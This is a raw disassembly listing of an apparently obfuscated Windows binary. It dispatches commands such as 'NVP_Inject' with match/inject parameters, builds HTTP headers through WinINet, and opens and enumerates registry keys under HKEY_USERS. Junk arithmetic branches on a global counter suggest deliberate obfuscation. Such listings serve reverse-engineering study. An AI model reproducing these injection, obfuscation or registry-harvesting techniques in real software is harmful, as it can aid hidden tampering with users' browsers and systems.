lea rdx, [0x14013a994]
lea rcx, [rsp + 0x1020]
call fcn.14002ec30
nop
lea rdx, str.acceptTypes
lea rcx, [rsp + 0x440]
call fcn.14002f6a0
mov rcx, rax
lea rdx, [rsp + 0x1020]
call fcn.14002eebc
nop
lea rcx, [rsp + 0x1020]
call fcn.14002ee10
lea rdx, str.Accept_Encoding:_gzip__deflate_r_n
lea rcx, [rsp + 0x1040]
call fcn.14002ec30
nop
lea rdx, str.additionalRequestHeaders
lea rcx, [rsp + 0x440]
call fcn.14002f6a0
mov rcx, rax
lea rdx, [rsp + 0x1040]
call fcn.14002eebc
nop
lea rcx, [rsp + 0x1040]
call fcn.14002ee10
mov r8d, dword [0x1401a8d80]
mov ecx, r8d
imul ecx, r8d
imul ecx, r8d
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xe
sub ecx, edx
cmp ecx, 5
jne 0x140055464
mov r9d, edi
mov dword [rsp + 0x208], edi
test r8d, r8d
je 0x140055464
add r9d, r12d
mov dword [rsp + 0x208], r9d
mov eax, r8d
and eax, 0x80000001
jge 0x1400553f5
sub eax, r12d
or eax, 0xfffffffe
add eax, r12d
test eax, eax
jne 0x14005540c
mov eax, r8d
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov dword [0x1401a8d80], eax
jmp 0x14005541b
lea r8d, [r8*2 + 1]
mov dword [0x1401a8d80], r8d
mov eax, 0x55555556
imul r8d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
mov ecx, r8d
sub ecx, eax
je 0x14005543f
sub ecx, 2
je 0x14005544a
dec ecx
je 0x140055454
jmp 0x14005545f
add r8d, 2
mov dword [0x1401a8d80], r8d
add r8d, r12d
mov dword [0x1401a8d80], r8d
add r8d, 2
mov dword [0x1401a8d80], r8d
jmp 0x1400553ce
mov qword [rsp + 0x6b8], rdi
lea r9, [rsp + 0x440]
lea r8, [rsp + 0x6b8]
mov rdx, r13
lea rcx, [rsp + 0x1060]
call fcn.1400264a8
nop
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
test r14, r14
je 0x140055592
lea rax, vtable.Json::Writer.0
mov qword [rsp + 0x1228], rax
lea rax, vtable.Json::FastWriter.0
mov qword [rsp + 0x1228], rax
mov qword [rsp + 0x1240], rdi
mov qword [rsp + 0x1248], rdi
mov qword [rsp + 0x1248], 0xf
mov qword [rsp + 0x1240], rdi
mov byte [rsp + 0x1230], dil
mov byte [rsp + 0x1250], dil
lea r8, [rsp + 0x1060]
lea rdx, [rsp + 0x13a0]
lea rcx, [rsp + 0x1228]
call fcn.140031854
mov qword [rsp + 0xad0], rax
cmp qword [rax + 0x18], 0x10
jb 0x140055520
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x300]
call fcn.140002c48
nop
lea rcx, [rsp + 0x13a0]
call fcn.14000133c
mov rcx, qword [rsp + 0x300]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x470], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xae0], rax
test rax, rax
jne 0x140055568
call fcn.140002230
mov qword [r14 + 8], rax
mov r13d, 8
mov word [r14], r13w
lea rcx, [rsp + 0x300]
call fcn.140001fc8
nop
lea rcx, [rsp + 0x1228]
call fcn.140009954
nop
lea rcx, [rsp + 0x1060]
call fcn.14002ee10
nop
lea rcx, [rsp + 0x440]
call fcn.14002ee10
nop
lea rcx, [rsp + 0x90]
call fcn.140001fc8
jmp 0x1400570c7
test r14, r14
je 0x1400555d4
mov word [r14 + 8], di
mov r15d, 0xb
mov word [r14], r15w
mov rcx, qword [rsp + 0x58]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6c8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140055604
mov rdx, qword [rsp + 0x6c8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
xor r8d, r8d
mov dl, r12b
lea rcx, [rsp + 0x11c8]
call fcn.14000136c
nop
mov rcx, qword [rsp + 0x80]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6d8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005564b
mov rdx, qword [rsp + 0x6d8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x12e0]
call fcn.140016b4c
nop
lea rcx, [rsp + 0x68]
call fcn.14002ee10
nop
mov bl, byte [rsp + 0x40]
mov r15, qword [rsp + 0x48]
jmp 0x140057212
lea rdx, str.NVP_IsSupported
lea rcx, [rsp + 0x58]
call fcn.140002ee4
test eax, eax
jne 0x140055780
mov r10d, dword [0x1401a8d80]
mov ecx, r10d
imul ecx, r10d
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub ecx, eax
mov r15d, 0xb
cmp ecx, r15d
jne 0x1400556c4
sub dword [0x1401aaca0], r12d
test r14, r14
je 0x1400556d2
mov word [r14 + 8], si
mov word [r14], r15w
lea ecx, [r10 + 1]
imul ecx, r10d
mov eax, 0xb21642c9
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x17
sub ecx, edx
cmp ecx, r15d
jne 0x1400570c7
mov r11d, 0x42
mov dword [rsp + 0x2b4], r11d
mov ecx, edi
mov dword [rsp + 0x228], ecx
cmp ecx, r11d
jge 0x1400570c7
mov r8d, edi
mov dword [rsp + 0x278], edi
mov eax, r10d
cdq
sub eax, edx
sar eax, 1
cmp r8d, eax
jge 0x14005577b
mov r9d, edi
mov dword [rsp + 0x218], edi
mov eax, r10d
cdq
and edx, 3
add eax, edx
sar eax, 2
cmp r9d, eax
jge 0x14005576e
mov eax, r8d
imul eax, ecx
sub eax, r9d
add r11d, eax
mov dword [rsp + 0x2b4], r11d
add r9d, r12d
mov dword [rsp + 0x218], r9d
jmp 0x14005573c
add r8d, r12d
mov dword [rsp + 0x278], r8d
jmp 0x140055725
add ecx, r12d
jmp 0x14005570b
lea rdx, str.NVP_Inject
lea rcx, [rsp + 0x58]
call fcn.140002ee4
test eax, eax
jne 0x140055df4
test r14, r14
je 0x140055db7
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xaf0], rax
lea rdx, str.match
mov rcx, rax
call fcn.14002f814
mov qword [rsp + 0xb00], rax
lea r15, [0x1401a9e10]
cmp rax, r15
je 0x140055d69
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xb10], rax
lea rdx, str.inject
mov rcx, rax
call fcn.14002f814
mov qword [rsp + 0xb20], rax
cmp rax, r15
je 0x140055d69
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xb30], rax
lea rbx, str.message
mov rdx, rbx
mov rcx, rax
call fcn.14002f814
mov qword [rsp + 0xb40], rax
cmp rax, r15
je 0x140055d69
lea r15, str.param
mov rdx, r15
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xb50], rax
lea rdx, str.match
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xb60], rax
cmp byte [rax + 8], r12b
jne 0x140055d69
mov rdx, r15
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xb70], rax
lea rdx, str.inject
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xb80], rax
cmp byte [rax + 8], r12b
jne 0x140055d69
mov rdx, r15
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xb90], rax
mov rdx, rbx
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xba0], rax
cmp byte [rax + 8], 4
jne 0x140055d69
mov rdx, r15
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xbb0], rax
mov rdx, rbx
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xbc0], rax
lea rdx, [rsp + 0x11e8]
mov rcx, rax
call fcn.14002ef44
nop
mov qword [rsp + 0x240], rdi
lea rcx, [rsp + 0x11e8]
cmp qword [rsp + 0x1200], 0x10
cmovae rcx, qword [rsp + 0x11e8]
lea r8, [rsp + 0x240]
mov rdx, qword [rsp + 0x11f8]
call fcn.14001bda4
test al, al
jne 0x1400559c0
lea rcx, [rsp + 0x11e8]
call fcn.14000133c
nop
lea rcx, [rsp + 0x58]
call fcn.140001fc8
nop
lea rcx, [rsp + 0x11c8]
call fcn.14000133c
nop
lea rcx, [rsp + 0x80]
call fcn.140001fc8
nop
lea rcx, [rsp + 0x12e0]
call fcn.140016b4c
nop
lea rcx, [rsp + 0x68]
call fcn.14002ee10
nop
mov bl, byte [rsp + 0x40]
mov r15, qword [rsp + 0x48]
jmp 0x140057212
mov qword [rsp + 0x168], rdi
mov qword [rsp + 0x170], rdi
mov qword [rsp + 0x178], rdi
mov rdx, qword [rsp + 0x240]
lea rcx, [rsp + 0x168]
call fcn.1400247c0
nop
mov qword [rsp + 0x310], rdi
lea rcx, [rsp + 0x11e8]
cmp qword [rsp + 0x1200], 0x10
cmovae rcx, qword [rsp + 0x11e8]
lea rax, [rsp + 0x310]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x240]
mov rbx, qword [rsp + 0x168]
mov r8, rbx
mov rdx, qword [rsp + 0x11f8]
call fcn.14001bf04
test al, al
jne 0x140055ac6
test rbx, rbx
je 0x140055a6a
mov rcx, rbx
call fcn.1400bcfa4
mov qword [rsp + 0x168], rdi
mov qword [rsp + 0x170], rdi
mov qword [rsp + 0x178], rdi
lea rcx, [rsp + 0x11e8]
call fcn.14000133c
nop
lea rcx, [rsp + 0x58]
call fcn.140001fc8
nop
lea rcx, [rsp + 0x11c8]
call fcn.14000133c
nop
lea rcx, [rsp + 0x80]
call fcn.140001fc8
nop
lea rcx, [rsp + 0x12e0]
call fcn.140016b4c
nop
lea rcx, [rsp + 0x68]
call fcn.14002ee10
nop
mov bl, byte [rsp + 0x40]
mov r15, qword [rsp + 0x48]
jmp 0x140057212
mov rdx, qword [rsp + 0x310]
lea rcx, [rsp + 0x168]
call fcn.1400247c0
mov ecx, dword [0x1401a8d80]
imul ecx, ecx
mov eax, 0x38e38e39
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub ecx, eax
cmp ecx, 0xe
jne 0x140055bb8
mov word [rsp + 0x1cd0], di
xor edx, edx
mov r8d, 0x94c6
lea rcx, [rsp + 0x1cd2]
call fcn.1400c2400
mov dword [0x1401a8d80], edi
mov r10d, edi
mov dword [rsp + 0x27c], edi
mov r11d, 0x8a
cmp r10d, r11d
jge 0x140055baa
mov r9d, edi
mov dword [rsp + 0x188], edi
cmp r9d, r11d
jge 0x140055b9d
test r10d, r10d
je 0x140055b90
test r9d, r9d
je 0x140055b90
movsxd r8, r10d
movsxd rcx, r9d
mov rdx, r8
imul rdx, rdx, 0x8a
add rdx, rcx
imul r8, r8, 0x8a
add r8, rcx
movsx ecx, word [rsp + r8*2 + 0x1bbc]
movsx eax, word [rsp + rdx*2 + 0x1cce]
inc ecx
add ecx, eax
mov word [rsp + rdx*2 + 0x1cd0], cx
add r9d, r12d
mov dword [rsp + 0x188], r9d
jmp 0x140055b47
add r10d, r12d
mov dword [rsp + 0x27c], r10d
jmp 0x140055b38
movsx eax, word [rsp + 0xb196]
mov dword [0x1401a8d80], eax
mov rdx, r15
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xbd0], rax
lea rdx, str.match
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xbe0], rax
mov rcx, rax
call fcn.14002f1c4
mov ebx, eax
mov dword [rsp + 0x720], eax
mov rdx, r15
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xbf0], rax
lea rdx, str.inject
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xc00], rax
mov rcx, rax
call fcn.14002f1c4
mov dword [rsp + 0x480], eax
lea r9, [rsp + 0x168]
mov r8d, eax
mov edx, ebx
mov rcx, qword [r13 + 0x40]
call fcn.14004c860
mov word [r14 + 8], si
mov ecx, dword [0x1401a8d80]
imul ecx, ecx
mov eax, 0x78787879
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x11
sub ecx, edx
cmp ecx, 3
jne 0x140055d26
mov word [rsp + 0xb1a0], di
xor edx, edx
mov r8d, 0xc090
lea rcx, [rsp + 0xb1a2]
call fcn.1400c2400
mov dword [0x1401a8d80], edi
mov r10d, edi
mov dword [rsp + 0x2b8], edi
mov r11d, RegisterTypeLib
cmp r10d, r11d
jge 0x140055d18
mov r9d, edi
mov dword [rsp + 0x2b0], edi
cmp r9d, r11d
jge 0x140055d0b
test r10d, r10d
je 0x140055cfe
test r9d, r9d
je 0x140055cfe
movsxd r8, r10d
movsxd rcx, r9d
mov rdx, r8
imul rdx, rdx, 0x9d
add rdx, rcx
imul r8, r8, 0x9d
add r8, rcx
movsx ecx, word [rsp + r8*2 + 0xb066]
movsx eax, word [rsp + rdx*2 + 0xb19e]
inc ecx
add ecx, eax
mov word [rsp + rdx*2 + 0xb1a0], cx
add r9d, r12d
mov dword [rsp + 0x2b0], r9d
jmp 0x140055cb5
add r10d, r12d
mov dword [rsp + 0x2b8], r10d
jmp 0x140055ca6
movsx eax, word [rsp + 0x17230]
mov dword [0x1401a8d80], eax
mov r15d, 0xb
mov word [r14], r15w
mov rcx, qword [rsp + 0x168]
test rcx, rcx
je 0x140055d5a
call fcn.1400bcfa4
mov qword [rsp + 0x168], rdi
mov qword [rsp + 0x170], rdi
mov qword [rsp + 0x178], rdi
lea rcx, [rsp + 0x11e8]
call fcn.14000133c
jmp 0x140055db7
lea rcx, [rsp + 0x58]
call fcn.140001fc8
nop
lea rcx, [rsp + 0x11c8]
call fcn.14000133c
nop
lea rcx, [rsp + 0x80]
call fcn.140001fc8
nop
lea rcx, [rsp + 0x12e0]
call fcn.140016b4c
nop
lea rcx, [rsp + 0x68]
call fcn.14002ee10
nop
mov bl, byte [rsp + 0x40]
mov r15, qword [rsp + 0x48]
jmp 0x140057212
mov eax, dword [0x1401a8d80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x2aaaaaab
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 2
sub ecx, eax
cmp ecx, 3
jne 0x1400570c7
call fcn.1400bd978
mov dword [0x1401a8d80], eax
jmp 0x1400570c7
lea rdx, str.NVP_UTF8ToUTF16
lea rcx, [rsp + 0x58]
call fcn.140002ee4
test eax, eax
jne 0x14005604e
test r14, r14
je 0x1400570c7
mov r15b, dil
mov byte [rsp + 0x89], dil
lea rcx, [rsp + 0x250]
call fcn.140001ef4
nop
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xc10], rax
lea rdx, [0x14013d1a4]
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xc20], rax
cmp byte [rax + 8], 4
jne 0x140056032
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xc30], rax
lea rdx, [0x14013d1a4]
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xc40], rax
lea rdx, [rsp + 0x1208]
mov rcx, rax
call fcn.14002ef44
nop
mov rax, qword [rsp + 0x1218]
mov qword [rsp + 0xc50], rax
lea r8, [rsp + 0x1208]
cmp qword [rsp + 0x1220], 0x10
cmovae r8, qword [rsp + 0x1208]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
mov r9d, eax
xor edx, edx
mov r13d, 0xfde9
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov dword [rsp + 0x918], ebx
test eax, eax
je 0x140055fe6
mov qword [rsp + 0x410], rdi
mov qword [rsp + 0x418], rdi
mov qword [rsp + 0x420], rdi
mov rdx, rbx
add rdx, rdx
lea rcx, [rsp + 0x410]
call fcn.1400247c0
nop
mov rax, qword [rsp + 0x1218]
mov qword [rsp + 0xc60], rax
lea r8, [rsp + 0x1208]
cmp qword [rsp + 0x1220], 0x10
cmovae r8, qword [rsp + 0x1208]
mov dword [rsp + 0x28], ebx
mov rbx, qword [rsp + 0x410]
mov qword [rsp + 0x20], rbx
mov r9d, eax
xor edx, edx
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
je 0x140055fc1
mov r8, qword [rsp + 0x418]
sub r8, rbx
mov qword [rsp + 0xc70], r8
mov rdx, rbx
lea rcx, [rsp + 0x6e8]
call fcn.14001c26c
nop
mov rdx, rax
lea rcx, [rsp + 0x250]
call fcn.140001ff8
nop
lea rcx, [rsp + 0x6e8]
call fcn.140001fc8
mov r15b, r12b
mov byte [rsp + 0x89], r12b
test rbx, rbx
je 0x140055fe6
mov rcx, rbx
call fcn.1400bcfa4
mov qword [rsp + 0x410], rdi
mov qword [rsp + 0x418], rdi
mov qword [rsp + 0x420], rdi
lea rcx, [rsp + 0x1208]
call fcn.14000133c
test r15b, r15b
je 0x140056032
mov rcx, qword [rsp + 0x250]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x490], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xc80], rax
test rax, rax
jne 0x140056022
call fcn.140002230
mov qword [r14 + 8], rax
mov r13d, 8
mov word [r14], r13w
jmp 0x140056041
mov word [r14 + 8], di
mov r15d, 0xb
mov word [r14], r15w
lea rcx, [rsp + 0x250]
jmp 0x1400555b6
lea rdx, str.reloadBackground
lea rcx, [rsp + 0x58]
call fcn.140002ee4
test eax, eax
jne 0x1400560d4
mov eax, dword [0x1401a8d80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub ecx, edx
cmp ecx, 0xe
jne 0x1400560b2
mov rcx, r15
call fcn.1400bd778
mov rbx, rax
mov qword [rsp + 0xc90], rax
call fcn.1400bd978
mov dword [rbx], eax
mov dword [0x1401a8d80], eax
mov rcx, rbx
call fcn.1400bcfa4
mov rcx, qword [r13 + 0x40]
add rcx, 0x1f0
call fcn.14005b664
test r14, r14
je 0x1400570c7
mov word [r14], r12w
jmp 0x1400570c7
lea rdx, str.debugMessage
lea rcx, [rsp + 0x58]
call fcn.140002ee4
test eax, eax
jne 0x140056201
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xca0], rax
lea rbx, str.message
mov rdx, rbx
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xcb0], rax
cmp byte [rax + 8], r15b
jne 0x1400561ee
lea rdx, str.param
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xcc0], rax
mov rdx, rbx
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xcd0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xce0], rdx
lea rcx, [rsp + 0x6f8]
call fcn.140002c48
nop
mov ecx, dword [0x1401a8d80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x2aaaaaab
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub r8d, eax
mov ebx, 0x16
cmp r8d, ebx
jne 0x1400561cd
mov rcx, r15
call fcn.1400bd778
mov rbx, rax
mov qword [rsp + 0xcf0], rax
call fcn.1400bd978
mov dword [rbx], eax
mov dword [0x1401a8d80], eax
mov rcx, rbx
call fcn.1400bcfa4
test r14, r14
je 0x1400561e1
mov word [r14 + 8], si
mov r15d, 0xb
mov word [r14], r15w
lea rcx, [rsp + 0x6f8]
jmp 0x1400555b6
test r14, r14
je 0x1400570c7
mov word [r14 + 8], di
jmp 0x140054034
test r14, r14
je 0x140056215
mov word [r14 + 8], di
mov r15d, 0xb
mov word [r14], r15w
mov ecx, dword [0x1401a8d80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0xb21642c9
imul r8d
add edx, r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x17
sub r8d, edx
cmp r8d, 0xf
jne 0x1400570c7
add dword [0x1401aac98], r12d
jmp 0x1400570c7
call fcn.140051454
test al, al
jne 0x1400562dd
movsd xmm3, qword [0x14013dd10]
movsd qword [rsp + 0x708], xmm3
xorps xmm2, xmm2
movsd qword [rsp + 0x320], xmm2
movd xmm4, dword [0x1401a8d80]
cvtdq2pd xmm4, xmm4
addsd xmm2, xmm3
movsd qword [rsp + 0x320], xmm2
movaps xmm0, xmm2
mulsd xmm0, xmm2
comisd xmm0, xmm4
jbe 0x1400562c5
subsd xmm2, xmm3
movsd qword [rsp + 0x320], xmm2
divsd xmm3, qword [0x14013dd38]
movsd qword [rsp + 0x708], xmm3
movaps xmm1, xmm2
mulsd xmm1, xmm2
movaps xmm0, xmm4
subsd xmm0, xmm1
comisd xmm0, xmmword [0x14013dd08]
ja 0x14005628d
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xd00], rax
lea r15, str.keyPath
mov rdx, r15
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xd10], rax
cmp byte [rax + 8], 4
jne 0x1400570c7
test r14, r14
je 0x1400570c7
mov qword [rsp + 0x298], rdi
mov rax, rdi
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x2a0], rax
mov qword [rsp + 0x2a8], rdi
mov byte [rsp + 0x50], dil
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xd20], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14002f814
mov qword [rsp + 0xd30], rax
lea rcx, [0x1401a9e10]
cmp rax, rcx
je 0x140056754
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xd40], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xd50], rax
mov rdx, qword [rax]
mov qword [rsp + 0xd60], rdx
lea rcx, [rsp + 0x260]
call fcn.140002c48
nop
mov rbx, qword [r13 + 0x50]
lea rdx, str.HKEY_USERS
lea rcx, [rsp + 0x260]
call fcn.140002ee4
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0xd70], rbx
lea rdx, str.param
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xd80], rax
mov rdx, r15
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xd90], rax
mov rdx, qword [rax]
mov qword [rsp + 0xda0], rdx
lea rax, [rsp + 0x740]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov r9d, eax
mov dword [rsp + 0x730], eax
test eax, eax
je 0x1400565ab
mov r8d, dword [0x1401a8d80]
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x78787879
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x11
sub ecx, edx
mov r15d, 0xb
cmp ecx, r15d
jne 0x1400564ba
mov ecx, edi
mov dword [rsp + 0x2c0], ecx
movsxd rax, ecx
cmp rax, 0x16c
jae 0x1400564ba
mov eax, dword [rsp + rax*4 + 0x19a0]
imul eax, eax, 0x31
add r8d, eax
mov dword [0x1401a8d80], r8d
add ecx, r12d
jmp 0x14005648f
test r14, r14
je 0x1400564cc
mov dword [r14 + 8], r9d
mov ebx, 0x16
mov word [r14], bx
mov rcx, qword [rsp + 0x260]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x718], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400564ff
mov rdx, qword [rsp + 0x718]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x298]
call fcn.140017fe8
nop
mov rcx, qword [rsp + 0x58]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x728], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005653d
mov rdx, qword [rsp + 0x728]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
xor r8d, r8d
mov dl, r12b
lea rcx, [rsp + 0x11c8]
call fcn.14000136c
nop
mov rcx, qword [rsp + 0x80]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x290], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140056584
mov rdx, qword [rsp + 0x290]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x12e0]
call fcn.140016b4c
nop
lea rcx, [rsp + 0x68]
call fcn.14002ee10
nop
mov bl, byte [rsp + 0x40]
mov r15, qword [rsp + 0x48]
jmp 0x140057212
mov r15d, edi
mov dword [rsp + 0xf8], edi
mov r13d, 0x7ffe
mov dword [rsp + 0x108], r13d
lea rdx, str.getChildValues
lea rcx, [rsp + 0x58]
call fcn.140002ee4
mov rcx, qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
cmove rcx, qword [sym.imp.ADVAPI32.dll_RegEnumValueA]
mov qword [rsp + 0x290], rcx
mov qword [rsp + 0x780], rcx
mov ecx, r13d
call fcn.1400bc638
mov rbx, rax
mov qword [rsp + 0x770], rax
mov r8d, r13d
xor edx, edx
mov rcx, rax
call fcn.1400c2400
mov rax, qword [rsp + 0x290]
mov edx, r15d
add r15d, r12d
mov dword [rsp + 0xf8], r15d
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x108]
mov r8, rbx
mov rcx, qword [rsp + 0x740]
call rax
mov dword [rsp + 0x4a0], eax
test eax, eax
jne 0x1400566f9
mov rdx, rbx
lea rcx, [rsp + 0x750]
call fcn.140002c48
nop
mov rdx, rax
lea rcx, [rsp + 0x298]
call fcn.140019ee8
nop
mov rcx, qword [rsp + 0x750]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x760], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400566b7
mov rdx, qword [rsp + 0x760]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov r8, r13
xor edx, edx
mov rbx, qword [rsp + 0x770]
mov rcx, rbx
call fcn.1400c2400
mov dword [rsp + 0x108], r13d
mov rax, qword [rsp + 0x2a0]
mov qword [rsp + 0x138], rax
mov r15d, dword [rsp + 0xf8]
mov rax, qword [rsp + 0x780]
jmp 0x14005661d
cmp eax, 0x103
je 0x14005671d
mov rax, qword [rsp + 0x138]
sub rax, qword [rsp + 0x298]
test rax, 0xfffffffffffffff8
mov byte [rsp + 0x50], dil
je 0x140056722
mov byte [rsp + 0x50], r12b
mov rcx, qword [rsp + 0x260]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x790], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005687a
mov rdx, qword [rsp + 0x790]
jmp 0x140056871
lea rdx, str.getChildValues
lea rcx, [rsp + 0x58]
call fcn.140002ee4
mov rdx, rbx
lea rcx, [rsp + 0x68]
test eax, eax
jne 0x1400567f6
call fcn.14002f6a0
mov qword [rsp + 0xdb0], rax
mov rdx, r15
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xdc0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xdd0], rdx
lea rcx, [rsp + 0x330]
call fcn.140002c48
nop
lea rdx, [rsp + 0x298]
lea rcx, [rsp + 0x330]
call fcn.14003d5bc
mov byte [rsp + 0x50], al
mov rcx, qword [rsp + 0x330]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7a0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005687a
mov rdx, qword [rsp + 0x7a0]
jmp 0x140056871
call fcn.14002f6a0
mov qword [rsp + 0xde0], rax
mov rdx, r15
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xdf0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xe00], rdx
lea rcx, [rsp + 0x340]
call fcn.140002c48
nop
lea rdx, [rsp + 0x298]
lea rcx, [rsp + 0x340]
call fcn.14003d364
mov byte [rsp + 0x50], al
mov rcx, qword [rsp + 0x340]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7b0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005687a
mov rdx, qword [rsp + 0x7b0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
